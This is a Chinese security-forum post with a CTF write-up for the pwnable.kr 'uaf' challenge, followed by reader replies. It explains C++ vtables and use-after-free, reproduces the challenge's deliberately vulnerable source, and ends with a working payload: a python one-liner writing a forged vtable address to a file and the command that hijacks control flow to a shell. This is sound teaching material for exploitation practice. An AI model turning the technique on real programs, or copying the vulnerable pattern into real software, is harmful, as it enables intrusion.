首页
社区
课程
招聘
[原创]ctf pwn中的UAF及pwnable.kr UAF writeup
发表于: 2018-2-13 16:45 9209

[原创]ctf pwn中的UAF及pwnable.kr UAF writeup

2018-2-13 16:45
9209

在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类,最开始的内存数据记录着父类对象的拷贝(包括父类虚函数表指针和成员变量)。 之后是子类自己的成员变量数据。


Dangling pointer
Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。

对Dangling pointer所指向内存进行use,如指针解引用等。

将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控(如重新分配为字符串)

假设有上述这样的一个结构体指针p。
在释放掉p之后,没有将p置NULL,所以p变成Dangling pointer,再通过重新分配,再次拿到p之前指向的这段地址空间。
之后,通过strcpy(p2,"addr"),或者其他方式,向这段地址空间写入新数据。
然后当我们通过其他函数,再次使用p指针,就会造成无法预料的后果,因为此时p指针指向的内存包含的已经是完全不同的数据

http://pwnable.kr/play.php
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf.cpp

先checksec

因为这是一道开源pwn,给了我们源码,而且代码也不复杂,没有什么逆向的必要,为了方便理解,我就直接从源码进行分析。

可以看出Man和Woman都是继承了Human类,并且可以看出只要我们将控制流劫持到Human类的私有虚函数give_shell,就能getshell了。
Man和Woman都继承了Human类的vtable,可以通过调试,跟随子类的构造函数,找到vtable。

可以看出程序给了我们3个选项

组合起来就是UAF。



因为先free m再free w,所以为了再次拿到m所指向的空间,我们需要分配两次,第一次得到w所指向的空间,第二次才再次得到m所指向的空间

在此题中,是通过从文件中读出内容覆盖原先的内容的,等同于之前写的strcpy(p->name,data),读取的长度是命令行的argv[1],打开的文件是argv[2]

0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00

 
class Base 
{ 
    public: 
        virtual void f() { cout << "Base::f" << endl; } 
        virtual void g() { cout << "Base::g" << endl; } 
        virtual void h() { cout << "Base::h" << endl; } 
    int base; 
    protected: 
    private: 
}; 
//子类1,无虚函数重载 
class Child1 : public Base 
{ 
    public: 
        virtual void f1() { cout << "Child1::f1" << endl; } 
        virtual void g1() { cout << "Child1::g1" << endl; } 
        virtual void h1() { cout << "Child1::h1" << endl; } 
    int child1; 
    protected: 
    private: 
}; 
//子类2,有1个虚函数重载 
class Child2 : public Base 
{ 
    public: 
        virtual void f() { cout << "Child2::f" << endl; } 
        virtual void g2() { cout << "Child2::g2" << endl; } 
        virtual void h2() { cout << "Child2::h2" << endl; } 
    int child2; 
    protected: 
    private: 
};
typedef struct
{
    int id;
    char *name;
    int (*func)() //函数指针,可以理解为类里面的方法
};
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
        switch(op){
                 case 1:
                        m->introduce();
                        w->introduce();
                        break;
                case 2:
                        len = atoi(argv[1]);
                        data = new char[len];
                        read(open(argv[2], O_RDONLY), data, len);
                        cout << "your data is allocated" << endl;
                        break;
                case 3:
                        delete m;
                        delete w;
                        break;
                default:
                        break;
                }
        }
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
...
delete m;
delete w;
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/exp.txt
./uaf 24 /tmp/exp.txt

...

yay_f1ag_aft3r_pwning

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-2-1 17:15 被admin编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (8)
雪    币: 775
活跃值: (2292)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
感谢分享,什么时候才能像你们一样优秀..
2018-2-13 23:46
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
3
AperOdry 感谢分享,什么时候才能像你们一样优秀..
我为什么这么菜。
2018-2-14 11:54
0
雪    币: 233
活跃值: (112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
想了很久,多重继承第二张图那里是不是base3继承base1?它没有自己的函数,而base1有三个虚函数f3(),g3(),h3()?    base4跟base2各有三个函数f4(),g4(),h4()?      为什么child5第二个虚函数指针里面会有child2?它跟child2是什么关系?
2018-2-17 22:49
0
雪    币: 233
活跃值: (112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
最后两个参考链接一个原链接没图了你是怎么学的,还有一个打不开
2018-2-18 00:29
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
6
我猜是楼主打错了
2018-2-18 07:58
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
7
啰嘻哈呲吧 最后两个参考链接一个原链接没图了你是怎么学的,还有一个打不开
奇怪。。我当时看的时候图都是打的开的,不过其实用得到的我都写在文章里面了,不看也行。
2018-2-21 22:37
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
8
啰嘻哈呲吧 想了很久,多重继承第二张图那里是不是base3继承base1?它没有自己的函数,而base1有三个虚函数f3(),g3(),h3()? base4跟base2各有三个函数f4(),g4(),h4() ...
是的,那是打错的。
2018-2-21 22:37
0
雪    币: 1200
活跃值: (1133)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
9
逻辑清晰,写得很棒
2018-2-28 19:54
0
游客
登录 | 注册 方可回帖
返回
//